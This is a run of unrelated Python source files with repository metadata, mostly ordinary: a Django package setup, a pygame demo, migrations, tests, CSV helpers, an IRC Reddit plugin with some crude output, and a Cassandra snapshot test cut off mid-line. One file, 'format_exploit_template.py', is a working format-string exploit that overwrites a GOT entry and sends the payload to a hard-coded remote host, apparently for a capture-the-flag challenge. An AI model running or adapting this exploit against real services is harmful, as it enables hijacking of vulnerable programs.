server_item.port)) if not sock.fileno(): if options.verbose: print "fail connect" time.sleep(0.1) out_files.log_performance() continue ip_address = sock.getpeername()[0] sock.close() sock = None probedalready = False if not options.just_test: (probedalready,created) = Probe.ServerIPProbed.GetIPLock(out_files.run, ip_address, server_item) if not created: try: probedalready.server_aliases.add(server_item) except: pass # COmpletely ignore problems in this add time.sleep(0.1) out_files.log_performance() continue; # don't probe, already tested this port on this IP address except socket.error, error: if options.verbose: print "Connection Failed socket error: ", error.message, "\n" if sock: sock.close() sock = None time.sleep(0.1) out_files.log_performance() continue except: raise if options.verbose: print "Probing ",server_item.id, ",", server_item.servername, ":", server_item.port, ":", server_item.protocol prober = ProbeServer(server_item) if options.verbose: prober.debug = True if not options.just_test: prober.ip_address_rec.append(probedalready) prober.Probe(do_full_test=True) if options.verbose: print "Probed ",server_item.id, ",", server_item.servername, ":", server_item.port, ":", server_item.protocol if not options.just_test: for ip in prober.ip_addresses: if ip != ip_address: (probedalready,created) = Probe.ServerIPProbed.GetIPLock(out_files.run, ip_address, server_item) prober.ip_address_rec.append(probedalready) if not created: try: probedalready.server_aliases.add(server_item) except: pass # COmpletely ignore problems in this add out_files.print_probe(prober) tested_count += 1 if int(options.max_tests) and int(options.max_tests) <= tested_count: break if options.verbose: print "Finished"
UTF-8
Python
false
false
2,012
17,755,394,830,811
72dbe73b5d5ea1530d09ee5eef6c189ef6ca328a
c06a38bc5a2210d7fea0c127f0649cc94c1a1b45
/setup.py
c75f5ccdef4d94551afd29956f21cc2e4a929781
[ "BSD-3-Clause" ]
permissive
oxpeter/django-gencal
https://github.com/oxpeter/django-gencal
53e8f3e506e1cc8951bb4655bd88d54dfa83bb22
6bc0b93debe40f35bcf1317cda466a3f13afa65d
refs/heads/master
2020-12-27T11:44:56.010552
2014-09-17T20:22:46
2014-09-17T20:22:46
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from setuptools import setup, find_packages f = open('README.md') readme = f.read() f.close() setup( name='django-gencal', version='0.2', description='django-gencal is a resuable Django application for rendering calendars.', long_description=readme, author='Justin Lilly', author_email='[email protected]', url='http://code.justinlilly.com/django-gencal/', classifiers=[ 'Development Status :: 3 - Alpha', 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Framework :: Django', ], packages=['gencal'], zip_safe=False, )
UTF-8
Python
false
false
2,014
7,103,875,913,737
9a03d1201eb0e9fefd78c58d2280de48e4ae4e2a
53d61fd33855775edd5393460ea786b5bb2d0cb9
/The Thrilling Adventures of Dan and Steve.py
ea6693075eebd020e6d72b298877c4dc14d095a8
[]
no_license
Sarion56/The-Thrilling-Adventures-of-Dan-and-Steve
https://github.com/Sarion56/The-Thrilling-Adventures-of-Dan-and-Steve
9d71cfb01d1b8321db822ebb9dd3ab203d520e48
0d67ebde13705c943000a71a6fe330547d323f5e
refs/heads/master
2018-12-31T09:39:51.648085
2014-07-10T13:04:09
2014-07-10T13:04:09
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#The Thrilling Adventures of Dan and Steve #Daniel Brown import pygame, sys from pygame.locals import * FPS = 15 WINDOWWIDTH = 900 WINDOWHEIGHT = 600 WHITE = (255, 255, 255) RIGHT = 'right' LEFT = 'left' STOPL = 'stop left' STOPR = 'stop right' def main(): global FPSCLOCK, DISPLAYSURF, DAN1, DAN2, DAN3, DAN4, LDAN1, LDAN2, LDAN3, LDAN4, DANLIST, LDANLIST pygame.init() FPSCLOCK = pygame.time.Clock() DISPLAYSURF = pygame.display.set_mode((WINDOWWIDTH, WINDOWHEIGHT)) pygame.display.set_caption('The Thrilling Adventures of Dan and Steve') direction = STOPR position = 10 DAN1 = pygame.image.load('Assets/Graphics/Dan1.png') DAN2 = pygame.image.load('Assets/Graphics/Dan2.png') DAN3 = pygame.image.load('Assets/Graphics/Dan3.png') DAN4 = pygame.image.load('Assets/Graphics/Dan4.png') LDAN1 = pygame.transform.flip(DAN1, True, False) LDAN2 = pygame.transform.flip(DAN2, True, False) LDAN3 = pygame.transform.flip(DAN3, True, False) LDAN4 = pygame.transform.flip(DAN4, True, False) DANLIST = (DAN1, DAN2, DAN3, DAN4) LDANLIST = (LDAN1, LDAN2, LDAN3, LDAN4) CDAN = DAN1 while True: # main game loop DISPLAYSURF.fill(WHITE) for event in pygame.event.get(): if event.type == QUIT: terminate() elif event.type == KEYDOWN: if (event.key == K_LEFT or event.key == K_a): direction = LEFT elif (event.key == K_RIGHT or event.key == K_d): direction = RIGHT elif event.key == K_ESCAPE: terminate() elif event.type == KEYUP: if (event.key == K_LEFT or event.key == K_a): direction = STOPL elif (event.key == K_RIGHT or event.key == K_d): direction = STOPR if direction == LEFT: position -= 10 elif direction == RIGHT: position += 10 CDAN = cycleDan(direction, CDAN) drawDan(position, CDAN) pygame.display.update() FPSCLOCK.tick(FPS) def terminate(): pygame.quit() sys.exit() def cycleDan(danDirect, danCurrent): if danDirect == RIGHT: for i in range(len(DANLIST)): if danCurrent == DANLIST[i] and i != 3: return DANLIST[i+1] elif danCurrent == DANLIST[i] and i == 3: return DANLIST[0] elif danCurrent == LDANLIST[i]: return DANLIST[0] elif danDirect == STOPR: return DANLIST[0] elif danDirect == LEFT: for i in range(len(LDANLIST)): if danCurrent == LDANLIST[i] and i != 3: return LDANLIST[i+1] elif danCurrent == LDANLIST[i] and i == 3: return LDANLIST[0] elif danCurrent == DANLIST[i]: return LDANLIST[0] elif danDirect == STOPL: return LDANLIST[0] def drawDan(danPos, danCurrent): DISPLAYSURF.blit(danCurrent, (danPos, 310)) if __name__=='__main__': main()
UTF-8
Python
false
false
2,014
9,483,287,831,676
3768fe669c040f8b771cc63416be6e30d3c9b0d4
366eee0d18fd591212b15550bf74679e28e4206a
/equipments/migrations/0001_initial.py
41c60552c64c7ac994cfc352fef9aa1f320b1b46
[]
no_license
isaacrdz/machinery
https://github.com/isaacrdz/machinery
b5fa0bf40f064c55eae660f48b243c3fb49d6c68
71a232c24b614815bd4c12958f5c95d71b1625cc
refs/heads/master
2016-09-06T03:56:57.712970
2014-05-13T16:00:50
2014-05-13T16:00:50
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# -*- coding: utf-8 -*- from south.utils import datetime_utils as datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'Equipment' db.create_table(u'equipments_equipment', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('brand', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['brands.Brand'])), ('family', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['families.Family'])), ('model', self.gf('django.db.models.fields.CharField')(max_length=255)), ('specification', self.gf('django.db.models.fields.TextField')()), )) db.send_create_signal(u'equipments', ['Equipment']) def backwards(self, orm): # Deleting model 'Equipment' db.delete_table(u'equipments_equipment') models = { u'brands.brand': { 'Meta': {'object_name': 'Brand'}, u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '255'}) }, u'equipments.equipment': { 'Meta': {'object_name': 'Equipment'}, 'brand': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['brands.Brand']"}), 'family': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['families.Family']"}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'model': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'specification': ('django.db.models.fields.TextField', [], {}) }, u'families.family': { 'Meta': {'object_name': 'Family'}, u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '255'}) } } complete_apps = ['equipments']
UTF-8
Python
false
false
2,014
8,366,596,337,542
88c541a5fee2f9ba5ee551061ae4a6f95519b57e
613f710373dbc8b3999b9707663f7380e44ce2bd
/model/tests.py
fcfd80f3c550e8d6fae76f461ef7a44c4b382820
[]
no_license
cghackspace/destelado
https://github.com/cghackspace/destelado
92103412f75b21bf9f1fe22e44e1da9803bb6279
3badd7784b4dc9b7d4d17643513fb00e417331c1
refs/heads/master
2016-09-10T16:03:42.585139
2012-05-10T20:29:56
2012-05-10T20:29:56
2,937,022
5
1
null
false
2013-10-12T08:10:32
2011-12-08T01:12:32
2013-10-10T05:16:46
2012-05-10T20:38:08
128
null
3
1
JavaScript
null
null
import datetime import unittest import api from entities import Base, Assiduidade, Deputado, Gasto from sqlalchemy.orm import sessionmaker from sqlalchemy import create_engine from sqlalchemy.ext.declarative import declarative_base class GenericTest(unittest.TestCase): def setUp(self): self.engine = create_engine('sqlite:///test.db') Base.metadata.create_all(self.engine) self.api = api.DataAPI() def tearDown(self): Base.metadata.drop_all(self.engine) class TestDeputado(GenericTest): def test_dummy(self): # create a configured "Session" class Session = sessionmaker(bind=self.engine) # create a Session session = Session() # work with sess dep = Deputado('a', 'b', 'c') assiduidades = [Assiduidade(0, datetime.date(2011, 1, 1), 10, 20), Assiduidade(0, datetime.date(2011, 2, 1), 10, 25), Assiduidade(0, datetime.date(2011, 3, 1), 10, 30), Assiduidade(0, datetime.date(2011, 4, 1), 10, 35), Assiduidade(0, datetime.date(2011, 5, 1), 10, 40)] self.api.inserir_deputado(dep) for assiduidade in assiduidades: assiduidade.id_deputado = dep.id self.api.inserir_assiduidade(assiduidade) gastos = [Gasto(0, datetime.date(2011, 1, 1), 'Passeio com a familia', 'Viagem', 1500.45), Gasto(0, datetime.date(2011, 3, 1), 'Caixa 2', 'Roubos', 150220.45), Gasto(0, datetime.date(2011, 5, 1), 'Verba para infra-estrutura', 'Verbas', 300.42)] for gasto in gastos: gasto.id_deputado = dep.id self.api.inserir_gasto(gasto) print api.DataAPI().get_deputados() print api.DataAPI().get_deputado(1) print api.DataAPI().get_deputado(1).assiduidades print api.DataAPI().get_deputado(1).gastos if __name__ == '__main__': unittest.main()
UTF-8
Python
false
false
2,012
15,719,580,327,680
0eea831f006c7397f53df88650926d1986d98b8a
0ba7d7484d1e20ac9c900272e889062ede4e0e7f
/dolweb/blog/templatetags/blog_tags.py
2bf29f4fa41a44001594decec1ebb2006ba37bc6
[ "CC-BY-SA-3.0", "CC-BY-4.0", "MIT" ]
non_permissive
Llumex03/www
https://github.com/Llumex03/www
f5b975eb4e1f6a503419fecd368a11a54a9a9049
3fe8538f5a273b4e6bef285b380a507cb9538d3b
refs/heads/master
2020-02-24T15:52:40.690064
2014-05-08T17:31:04
2014-05-08T17:31:04
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from django.template import Library register = Library() from bs4 import BeautifulSoup from django.conf import settings from django.template import defaultfilters from dolweb.blog.models import BlogSerie @register.inclusion_tag('blog_chunk_series.html') def get_blog_series(number=5): """Return the most recent visible blog series""" return { 'series': BlogSerie.objects.filter(visible=True)[:number], } @register.filter def cuthere_excerpt(content): try: cut_here = BeautifulSoup(content).find('a', id='cuthere') return ''.join(map(str, reversed(cut_here.parent.find_previous_siblings()))) except AttributeError: return defaultfilters.truncatewords(content, 100)
UTF-8
Python
false
false
2,014
17,583,596,141,713
d938ebc4620d4f0d317169a40b89cd996765b664
8983c02e0d2231722bc8f8e5031fdb1fbd735363
/nodes/string_modification/mn_combine_strings.py
89d96e2f70996b2eea829c1de2d84b1a120518df
[]
no_license
brentini/animation-nodes
https://github.com/brentini/animation-nodes
02043f0d49f17b92d928c2e32c8f48f8a633d52b
cfc775a8ce8f11e89b89067881a77680c0f8895e
refs/heads/master
2020-02-26T17:39:55.445898
2014-10-06T16:02:19
2014-10-06T16:02:19
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import bpy from bpy.types import Node from mn_node_base import AnimationNode from mn_execution import nodePropertyChanged, nodeTreeChanged class CombineStringsNode(Node, AnimationNode): bl_idname = "CombineStringsNode" bl_label = "Combine Strings" def inputAmountChanged(self, context): self.inputs.clear() self.setInputSockets() nodeTreeChanged() inputAmount = bpy.props.IntProperty(default = 2, min = 1, soft_max = 10, update = inputAmountChanged) def init(self, context): self.setInputSockets() self.outputs.new("StringSocket", "Text") def draw_buttons(self, context, layout): layout.prop(self, "inputAmount", text = "Input Amount") def execute(self, input): output = {} output["Text"] = "" for i in range(self.inputAmount): output["Text"] += input[self.getInputNameByIndex(i)] return output def setInputSockets(self): for i in range(self.inputAmount): self.inputs.new("StringSocket", self.getInputNameByIndex(i)) def getInputNameByIndex(self, index): return "Text " + str(index) # register ################################ def register(): bpy.utils.register_module(__name__) def unregister(): bpy.utils.unregister_module(__name__)
UTF-8
Python
false
false
2,014
13,941,463,851,109
fd32ab498fc839894ad2695be1c81b07f5c61c0b
faca3dcf3a50b4217ebd8cbe2c18cb1f213599c1
/passwdio/models.py
85b4f9af080b22bf4b77ac0745da947a037da293
[]
no_license
manuelkiessling/passwd.io
https://github.com/manuelkiessling/passwd.io
461191aa644c03e386fc4a03e54f4320d14d9787
fb66d397034fb1d758431edeb8d8dcc89dad112d
refs/heads/master
2021-01-02T22:17:18.130693
2014-09-21T10:04:39
2014-09-21T10:04:39
5,245,273
0
2
null
null
null
null
null
null
null
null
null
null
null
null
null
from sqlalchemy import ( Column, Integer, String, Text, Boolean, ) from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import ( scoped_session, sessionmaker, ) from zope.sqlalchemy import ZopeTransactionExtension DBSession = scoped_session(sessionmaker(extension=ZopeTransactionExtension())) Base = declarative_base() class File(Base): __tablename__ = 'files' id = Column(String(36), default='', nullable=False, primary_key=True) owner_hash = Column(String(40), unique=True) access_hash = Column(String(40)) content = Column(Text)
UTF-8
Python
false
false
2,014
15,968,688,423,105
908c67ab2e71bd997bb0265126b85e766f5b2d61
6ef3a817a989563538c70f3b9af8aa75f289147f
/bublesort.py
3c5ba52885d95977aa2473581be5a59f9100bb30
[ "GPL-2.0-only" ]
non_permissive
papoon/Python
https://github.com/papoon/Python
482b39ba9a0dc4e65c2a2b1e5121b7ebb4d0aa1e
d40e1f651a0b508512fd71c3114989c456ba4db0
refs/heads/master
2020-06-04T06:07:43.661794
2014-12-27T14:24:16
2014-12-27T14:24:16
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import sys test_cases = open(sys.argv[1], 'r') for test in test_cases: list_elements = test.rstrip().split("|") lista_sort = [int(x) for x in list_elements[0].split(" ")if x != ''] nunber_sort = [int(x) for x in list_elements[1].split(" ")if x != ''] sorte = False for k in range(nunber_sort[0]): #sorte = True for i in range(len(lista_sort)-1): if lista_sort[i] > lista_sort[i+1]: #sorte = True lista_sort[i], lista_sort[i+1] = lista_sort[i+1], lista_sort[i] for x in lista_sort: print x, print "\r" test_cases.close()
UTF-8
Python
false
false
2,014
5,841,155,567,060
345acecaf1ddb2d3872b33fbda6b5e8be09f21eb
1d669ecc4d06de86064d0ab906fdf04c4722b7df
/apps/userprofile/admin.py
a39fe800c23925f2034a1e78c511aadf7eceaecc
[]
no_license
billcc/EXAMENN2
https://github.com/billcc/EXAMENN2
2d2ceb0147fa4f117aa8ce4c28abd707caa800b1
30b602985d98e8bbf1691f469eb8e5d56ce2494e
refs/heads/master
2021-01-06T20:46:14.803099
2014-11-06T22:57:19
2014-11-06T22:57:19
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from django.contrib import admin from .models import UserProfile # Register your models here.admin.site.register(Author, AuthorAdmin) admin.site.register(UserProfile)
UTF-8
Python
false
false
2,014
4,793,183,529,388
a7240fe0603a557e5fa66944fe8ef3b6478a35bf
ab642369b649c053f43ed571e8890c3493d2b855
/stashdata/writetocsv.py
78603fa2932336c2c35c14adf5899cdba5a88372
[ "MIT" ]
permissive
steven-cutting/collectdata
https://github.com/steven-cutting/collectdata
7dc507e200068111b20713dd90076c97fbe68078
0c56eec3fb58cd8eb26b490d7541174b585ee431
refs/heads/master
2015-08-17T20:09:15.607086
2014-12-12T11:59:47
2014-12-12T11:59:47
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
__title__ = 'collectdata' __license__ = 'MIT' __author__ = 'Steven Cutting' __author_email__ = '[email protected]' __created_on__ = '11/18/2014' # TODO (steven_c): Make all of this less lame. # TODO (steven_c): Make all of this into a class that can is not so "specialized". from misccode import miscfunctions as mfunc import sys from os.path import expanduser import os.path import time def writefile(thefile, thingtowrite, writetype='a'): with open(thefile, 'a') as f: data = ("\n{}".format(thingtowrite)) f.write(data) def appendtocsv(filepath, filename, linetowrite, filetype='.csv', createfile='yes', fileheader=''): fullfilename = buildfilestr(filepath, filename, filetype) line = ("\n{}".format(linetowrite)) if os.path.isfile(fullfilename): with open(fullfilename, 'a') as f: f.write(line) return fullfilename else: if createfile.lower() == 'yes': with open(fullfilename, 'w+') as f: f.write(fileheader + line) return filename else: print "\nERROR! File or directory do not exist:\n{}\n".format( fullfilename) raise IOError def buildfilestr(filepath, filename, filetype): path = filepath.replace('~', expanduser('~')) i = filename g = i.replace(' ', '') f = g.replace('/', 'vs') return ''.join([path, f, filetype]) # May change method. def buildfilestr_list(location, filenamearray, filetype): listoffiles = [] for i in filenamearray: filestr = buildfilestr(location, filename=i[0], filetype=filetype) listoffiles.append(filestr) return listoffiles def fileheader(infotuple, columnnames='', aboutdata=''): currenttime = time.strftime('%b %d, %Y %l:%M%p') firstbit = "Name: {}, Symbol: {}, Delay Correction(minutes): {}" headerlist = [firstbit.format(infotuple[0], infotuple[1], infotuple[2], ), "Created: {}".format(currenttime), aboutdata, columnnames, ] headerstring = mfunc.build_delim_line(headerlist, delimiter='\n') return headerstring
UTF-8
Python
false
false
2,014
9,517,647,530,146
1bb2ce0ec3eb2caca423b308e5dfbfbf7211261c
ec398a3a2625863a18c1cd9ede9fd7497ccd443c
/lib/shellcode/format_exploit_template.py
9302f1d419fb799ba5d24eebec686c464e8b65f6
[ "GPL-2.0-only" ]
non_permissive
Trietptm-on-Security/ledt
https://github.com/Trietptm-on-Security/ledt
ff55d45b5c3d3db31ddc74e4fb501ffc0b327342
1f08cc056b1a99d37292fe36a9d699cd0cfd4ede
refs/heads/master
2017-12-06T04:44:12.725788
2014-05-19T18:01:54
2014-05-19T18:01:54
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/bin/env python #encoding:utf-8 from struct import pack from socket import * import time import sys def formatMaker(overwrite_ip , offset , shellcodeAddr): """ overwrite_ip : address to overwrite, such as "exit" address in .got section offset : offset from high mem which contains foramt string to low mem which save the printf's first argv shellcodeAddr : maybe a shellcode address in mem """ shellcodeAddr_h = (shellcodeAddr >> 16 ) shellcodeAddr_l = (shellcodeAddr & 0x0000FFFF ) #print shellcodeAddr_l overwrite_ip_h = pack("<I",overwrite_ip+2) overwrite_ip_l = pack("<I",overwrite_ip) if shellcodeAddr_l > shellcodeAddr_h: format = overwrite_ip_h + overwrite_ip_l +\ '%' + str(shellcodeAddr_h - 4 -4 ) +'c' + '%' + str(offset) + '$hn' +\ '%' + str(shellcodeAddr_l-shellcodeAddr_h) +'c' + '%' + str(offset+1) + '$hn' else: format = overwrite_ip_h + overwrite_ip_l + \ '%' + str(shellcodeAddr_l - 4 -4 ) +'c' + '%' + str(offset+1) + '$hn' + \ '%' + str(shellcodeAddr_h-shellcodeAddr_l) +'c' + '%' + str(offset) + '$hn' return format if "__main__" == __name__: exit_got = 0x804a044 # "exit()" address in got target_eip = 0x0804888c # func "yoyo()" in printf offset = 80/4 - 1 format = formatMaker(exit_got , 80/4 - 1 , target_eip) name = "random\n" date = "2014-03-01\n" ip = "202.120.7.4" port = 34782 ServerAddr = {'host':ip,'port':port} ClientSock = socket(AF_INET , SOCK_STREAM) ClientSock.connect(tuple(ServerAddr.values())) ClientSock.send(name) ClientSock.send(format+"\n") ClientSock.send(date) while(1): result = ClientSock.recv(512) if not result: break print result ClientSock.close()
UTF-8
Python
false
false
2,014
3,393,024,182,343
1287665dd14ce157795b80ea281a46621ea5fb04
3a752f11ac166ac35735f7f9359739f89b76966f
/anki_x/anki_db.py
dcb139bc0f30a99eb3fe989b8eaaacbd2eedb4e6
[]
no_license
xmasotto/xsl4a
https://github.com/xmasotto/xsl4a
b5cd9b3c9cbf51de8e8d5794b0b7cc17f709beec
48b6261e8ec64493af60337fb402ccd359f8c300
refs/heads/master
2021-01-22T13:46:54.281887
2014-02-25T01:53:27
2014-02-25T01:53:27
15,953,960
1
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python2 import sys import os import json from anki_util import int_time p = os.path.dirname(os.path.realpath(__file__)) sys.path.append(p + "/..") import sqlite_server def init(db): sqlite_server.load(os.path.abspath(db), "db") # Load deck from db. def get_deck(deckname): decks_json = sqlite_server.query("select decks from db.col")[0][0] decks = json.loads(decks_json) for deck in decks.values(): if deck["name"] == deckname: return deck return None # Create deck in db if it doesn't already exist. def create_deck(deckname): decks_json = sqlite_server.query("select decks from db.col")[0][0] decks = json.loads(decks_json) for deck in decks.values(): if deck["name"] == deckname: return deck deck_id = str(int_time(1000)) new_deck = decks["1"].copy() new_deck["name"] = deckname new_deck["id"] = deck_id decks[deck_id] = new_deck sqlite_server.query("update db.col set decks=?;", json.dumps(decks)) return new_deck # Add a card (tuple of two strings, front/back) to the given deck. # Returns the note id of the new card. def add_card(deck, card): # Find the basic model models_json = sqlite_server.query("select models from db.col")[0][0] models = json.loads(models_json) nid = str(int_time(1000)) did = deck["id"] mid = -1 for model in models.values(): if model["name"] == "Basic": mid = model["id"] # Insert note and card into database flds = card[0] + "\x1f" + card[1] sqlite_server.query( "insert into db.notes values (?,?,?,?,?,?,?,?,?,?,?)", nid, str(int_time(1000))[-5:], mid, int_time(1), -1, "", flds, card[0], 0, 0, ""); sqlite_server.query( "insert into db.cards values (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", int_time(1000), nid, did, 0, int_time(1), -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, "") return nid # Delete the given card (tuple of two strings, front/back) def delete_card(nid): sqlite_server.query("delete from db.notes where id=?", nid) sqlite_server.query("delete from db.cards where nid=?", nid) # Get a list of note id's belonging to the default deck (which should be empty) def get_default_cards(): result = sqlite_server.query( "select nid from db.cards where did='1'") return [x[0] for x in result] # Since Anki sometimes randomly changes the deck_id to 1, occasionally # we have to fix the deck_id. # Changes the deck_id of the card with the given node_id. def fix_deck_id(note_id, deck_id): sqlite_server.query( "update db.cards set did=? where nid=?", deck_id, note_id)
UTF-8
Python
false
false
2,014
12,292,196,401,773
5c2d6db43673626a678d39b7dddc271151efa44d
02ade5a52f180fb75e7321751f890d18a7ed597a
/plugins/hitze.py
cde57b3196274e15d371e6c004e19344bbeb9a49
[]
no_license
hitzler/homero
https://github.com/hitzler/homero
3edcc4dc5db740926402936c177546927e5e26fd
b13fd114ecc34c1946e56ac77e34303385cfe859
refs/heads/master
2021-01-24T01:41:32.715078
2013-10-07T16:20:34
2013-10-07T16:20:34
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import simplejson as json import random from util import hook from util import http @hook.command def city(inp): jsonData = http.get_json('http://www.reddit.com/r/cityporn/.json') j= random.choice(jsonData['data']['children'])['data'] return j['title'] + ' ' + j['url'] @hook.command def hyle(inp, say=None): subreddit = [ "conspiracy", "twinpeaks", "mensrights", "crime", ] if random.random() > 0.1: jsonData = http.get_json('http://www.reddit.com/r/' + random.choice(subreddit) + '/.json') say('<hyle> ' + random.choice(jsonData['data']['children'])['data']['title'].lower()) else: jsonData = http.get_json('http://www.reddit.com/r/ass.json') say('<hyle> ' + random.choice(jsonData['data']['children'])['data']['url']) say('<hyle> ass like that') @hook.regex('oh my god') def omg(inp, say=None): say('oh. my. god.'); @hook.command def hitze(inp): hitzelist = [ "ahahaaha", "lol", "heh", "omg.", "uugh", "why..", "lol pcgaming", "rip", "sperg", "omg hyle", ] subreddit = [ "pics", "wtf", "cityporn", "gaming", "minecraftcirclejerk", "gifs", "nba", ] noSelf = False while noSelf == False: jsonData = http.get_json('http://www.reddit.com/r/' + random.choice(subreddit) + '/.json') potentialURL = random.choice(jsonData['data']['children'])['data']['url'] if 'reddit' in potentialURL: noSelf = False else: noSelf = True return "<hitz> " + potentialURL + " " + random.choice(hitzelist) def checkURL(url): params = urllib.urlencode({'q':'url:' + url}) url = "http://www.reddit.com/search.json?%s" % params jsan = json.load(urllib2.urlopen(url)) if len(jsan['data']['children']) > 0: return True return False #@hook.event('PRIVMSG') def hitze_event(paraml, say=None, nick=None): if 'hitz' in nick.lower() and 'http://' in paraml[1]: if checkURL(paraml[1]): say('/!\\ REDDIT ALERT /!\\ REDDIT ALERT /!\\ PLEASE DISREGARD THE PREVIOUS MESSAGE. WE APOLOGISE FOR ANY LIBERTARIANS ENCOUNTERED')
UTF-8
Python
false
false
2,013
420,906,822,987
9929717be638ed3ca754538ffabf767724e07a68
90494348f48eb70d56188eba88aff1e4861dbd9e
/snapshot_test.py
509bd3971136938a205f01767f3602e4b0a91961
[ "Apache-2.0" ]
permissive
Mishail/cassandra-dtest
https://github.com/Mishail/cassandra-dtest
3b6496e2769c7fbe85acae935c7a2db16dab2a5f
33d648066df3f34a42035397fb366540784b6139
refs/heads/master
2021-01-21T02:22:02.202227
2014-04-08T21:48:41
2014-04-08T21:48:41
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from dtest import Tester, debug from tools import replace_in_file import tempfile import shutil import glob import os class SnapshotTester(Tester): def insert_rows(self, cursor, start, end): for r in range(start, end): cursor.execute("INSERT INTO ks.cf (key, val) VALUES ({r}, 'asdf');".format(r=r)) def make_snapshot(self, node, ks, cf, name): debug("Making snapshot....") node.flush() node.nodetool('snapshot {ks} -cf {cf} -t {name}'.format(**locals())) tmpdir = tempfile.mkdtemp() os.mkdir(os.path.join(tmpdir,ks)) os.mkdir(os.path.join(tmpdir,ks,cf)) node_dir = node.get_path() # Find the snapshot dir, it's different in various C* versions: snapshot_dir = "{node_dir}/data/{ks}/{cf}/snapshots/{name}".format(**locals()) if not os.path.isdir(snapshot_dir): snapshot_dir = glob.glob("{node_dir}/flush/{ks}/{cf}-*/snapshots/{name}".format(**locals()))[0] debug("snapshot_dir is : " + snapshot_dir) debug("snapshot copy is : " + tmpdir) os.system('cp -a {snapshot_dir}/* {tmpdir}/{ks}/{cf}/'.format(**locals())) return tmpdir def restore_snapshot(self, snapshot_dir, node, ks, cf): debug("Restoring snapshot....") node_dir = node.get_path() snapshot_dir = os.path.join(snapshot_dir, ks, cf) ip = node.address() os.system('{node_dir}/bin/sstableloader -d {ip} {snapshot_dir}'.format(**locals())) class TestSnapshot(SnapshotTester): def __init__(self, *args, **kwargs): Tester.__init__(self, *args, **kwargs) def test_basic_snapshot_and_restore(self): cluster = self.cluster cluster.populate(1).start() (node1,) = cluster.nodelist() cursor = self.patient_cql_connection(node1).cursor() self.create_ks(cursor, 'ks', 1) cursor.execute('CREATE TABLE ks.cf ( key int PRIMARY KEY, val text);') self.insert_rows(cursor, 0, 100) snapshot_dir = self.make_snapshot(node1, 'ks', 'cf', 'basic') # Drop the keyspace, make sure we have no data: cursor.execute('DROP KEYSPACE ks') self.create_ks(cursor, 'ks', 1) cursor.execute('CREATE TABLE ks.cf ( key int PRIMARY KEY, val text);') cursor.execute('SELECT count(*) from ks.cf') self.assertEqual(cursor.fetchone()[0], 0) # Restore data from snapshot: self.restore_snapshot(snapshot_dir, node1, 'ks', 'cf') node1.nodetool('refresh ks cf') cursor.execute('SELECT count(*) from ks.cf') self.assertEqual(cursor.fetchone()[0], 100) shutil.rmtree(snapshot_dir) class TestArchiveCommitlog(SnapshotTester): def __init__(self, *args, **kwargs): kwargs['cluster_options'] = {'commitlog_segment_size_in_mb':1} Tester.__init__(self, *args, **kwargs) def test_archive_commitlog(self): cluster = self.cluster cluster.populate(1) (node1,) = cluster.nodelist() # Create a temp directory for storing commitlog archives: tmp_commitlog = tempfile.mkdtemp() debug("tmp_commitlog: " + tmp_commitlog) # Edit commitlog_archiving.properties and set an archive # command: replace_in_file(os.path.join(node1.get_path(),'conf','commitlog_archiving.properties'), [(r'^archive_command=.*$', 'archive_command=/bin/cp %path {tmp_commitlog}/%name'.format( tmp_commitlog=tmp_commitlog))]) cluster.start() cursor = self.patient_cql_connection(node1).cursor() self.create_ks(cursor, 'ks', 1) cursor.execute('CREATE TABLE ks.cf ( key int PRIMARY KEY, val text);') self.insert_rows(cursor, 0, 30000) # Delete all commitlog backups so far: os.system('rm {tmp_commitlog}/*'.format(tmp_commitlog=tmp_commitlog)) snapshot_dir = self.make_snapshot(node1, 'ks', 'cf', 'basic') # Write more data: self.insert_rows(cursor, 30000, 60000) node1.nodetool('flush') node1.nodetool('compact') # Check that there are at least one commit log backed up that # is not one of the active commit logs: commitlog_dir = os.path.join(node1.get_path(), 'commitlogs') debug("node1 commitlog dir: " + commitlog_dir) self.assertTrue(len(set(os.listdir(tmp_commitlog)) - set(os.listdir(commitlog_dir))) > 0) # Copy the active commitlogs to the backup directory: for f in glob.glob(commitlog_dir+"/*"): shutil.copy2(f, tmp_commitlog) # Drop the keyspace, restore from snapshot: cursor.execute("DROP KEYSPACE ks") self.create_ks(cursor, 'ks', 1) cursor.execute('CREATE TABLE ks.cf ( key int PRIMARY KEY, val text);') self.restore_snapshot(snapshot_dir, node1, 'ks', 'cf') cursor.execute('SELECT count(*) from ks.cf') # Make sure we have the same amount of rows as when we snapshotted: self.assertEqual(cursor.fetchone()[0], 30000) # Edit commitlog_archiving.properties. Remove the archive # command and set a restore command and restore_directories: replace_in_file(os.path.join(node1.get_path(),'conf','commitlog_archiving.properties'), [(r'^archive_command=.*$', 'archive_command='), (r'^restore_command=.*$', 'restore_command=cp -f %from %to'), (r'^restore_directories=.*$', 'restore_directories={tmp_commitlog}'.format( 